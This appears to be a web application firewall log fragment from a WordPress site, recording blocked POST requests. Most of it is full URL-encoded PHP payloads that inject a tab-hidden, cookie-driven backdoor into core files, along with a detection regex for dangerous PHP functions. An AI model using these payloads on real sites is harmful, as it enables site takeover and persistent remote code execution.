20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3297\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:42:04","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nZj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:04","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁1260秒","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nZj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:11","141.98.11.117","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\n\nvj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:17","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ah:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 